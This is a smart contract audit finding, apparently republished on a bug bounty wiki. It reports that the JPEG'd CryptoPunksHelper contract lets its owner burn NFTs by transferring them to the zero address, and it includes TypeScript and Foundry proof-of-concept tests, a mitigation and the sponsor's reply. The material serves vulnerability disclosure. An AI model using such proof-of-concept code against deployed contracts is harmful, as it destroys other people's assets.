NFTHelper Contract Allows Owner to Burn NFTs
The NFT helper contract lacks a check that the receiver address is not the zero address, allowing the owner to transfer NFTs to the zero address and burn them permanently. An attacker who gains access to the owner address could also burn NFTs.
Submitted by Kenshin
CryptoPunksHelper.sol#L38 CryptoPunksHelper.sol#L52
In the NFT helper contract, there is no validation on that the receiver address must not be address zero. Therefore, it allows owner or an attacker who gain access to the owner address to burn NFTs forever through the functions by transferring the NFTs to address zero.
Proof of Concept
The PoC is originally conducted using foundry. However, it isn’t that complicated so I rewrote it in TypeScipt as well, the team can easily proof this by including in the CryptoPunksHelper.ts.
TypeScript
// add `.only` to run only this test, not all.
it.only("allows the owner to burn nfts", async () => {
// safeTransferFrom
await cryptoPunks.getPunk(1);
await cryptoPunks.transferPunk(helper.address, 1);
await helper.safeTransferFrom(owner.address, ZERO_ADDRESS, 1);
expect(await cryptoPunks.punkIndexToAddress(1)).to.equal(ZERO_ADDRESS);
expect(await helper.ownerOf(1)).to.equal(ZERO_ADDRESS);
// transferFrom
await cryptoPunks.getPunk(2);
await cryptoPunks.transferPunk(helper.address, 2);
await helper.transferFrom(owner.address, ZERO_ADDRESS, 2);
expect(await cryptoPunks.punkIndexToAddress(2)).to.equal(ZERO_ADDRESS);
expect(await helper.ownerOf(2)).to.equal(ZERO_ADDRESS);
});
Foundry
pragma solidity ^0.8.0;
// for test
import "ds-test/test.sol";
import "forge-std/Vm.sol";
// contracts
import "../test/CryptoPunks.sol";
import "../helpers/CryptoPunksHelper.sol";
contract CryptoPunksHelperTest is DSTest {
Vm constant vm = Vm(HEVM_ADDRESS);
address owner = address(1);
address user = address(2);
CryptoPunks private cps;
CryptoPunksHelper private helper;
function setUp() public {
vm.startPrank(owner);
cps = new CryptoPunks();
helper = new CryptoPunksHelper();
helper.initialize(address(cps));
vm.stopPrank();
}
function testOwnerTransferToZero() public {
//make sure address zero hold no punks
assertEq(cps.balanceOf(address(0)), 0);
// safeTransferFrom PoC
vm.startPrank(owner);
cps.getPunk(1);
cps.transferPunk(address(helper), 1);
helper.safeTransferFrom(owner, address(0), 1);
assertEq(cps.punkIndexToAddress(1), address(0));
assertEq(helper.ownerOf(1), address(0));
assertEq(cps.balanceOf(address(0)), 1);
// transferFrom PoC
cps.getPunk(2);
cps.transferPunk(address(helper), 2);
helper.transferFrom(owner, address(0), 2);
assertEq(cps.punkIndexToAddress(2), address(0));
assertEq(helper.ownerOf(2), address(0));
assertEq(cps.balanceOf(address(0)), 2);
}
}
foundry.toml
[default]
src = "contracts"
libs = ["lib/forge-std/lib", "lib/", "node_modules"]
solc_version = "0.8.0"
optimizer = false
fuzz_runs = 100000
test = "foundryTest"
Tools Used
- Foundry
- Hardhat
Recommended Mitigation Steps
Even the functions are restricted for only the owner, the zero address should not be allowed as the receiver address.
spaghettieth (JPEG’d) acknowledged and commented:
The sole purpose of
CryptoPunksHelper.solandEtherRocksHelper.solcontracts is to allow compatibility of non ERC721 NFTs to be compatible withNFTVault.solwithout having to modify the vault’s code. They don’t have to provide any additional security check outside of compatibility related ones, everything else is out of scope and should be handled by the underlying NFT.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the transfer functions in the helper contract do not validate that the receiver address is not the zero address.
Impact
The owner (or an attacker with owner access) can permanently burn NFTs held by the helper contract, causing loss of the NFT.
What the attacker needed
Owner access to the helper contract; NFT held by the helper contract
The fix
The contract should reject the zero address as a receiver in the transfer functions.
How it was found
- The owner obtains a CryptoPunk and transfers it to the helper contract.
- The owner calls safeTransferFrom or transferFrom on the helper contract with the zero address as the receiver.
- The NFT is transferred to the zero address and becomes permanently burned.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a smart contract that helps manage NFTs. It lets the owner send an NFT to the zero address, which is like a black hole, so the NFT is lost forever. The contract should have checked that the recipient is not the zero address.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.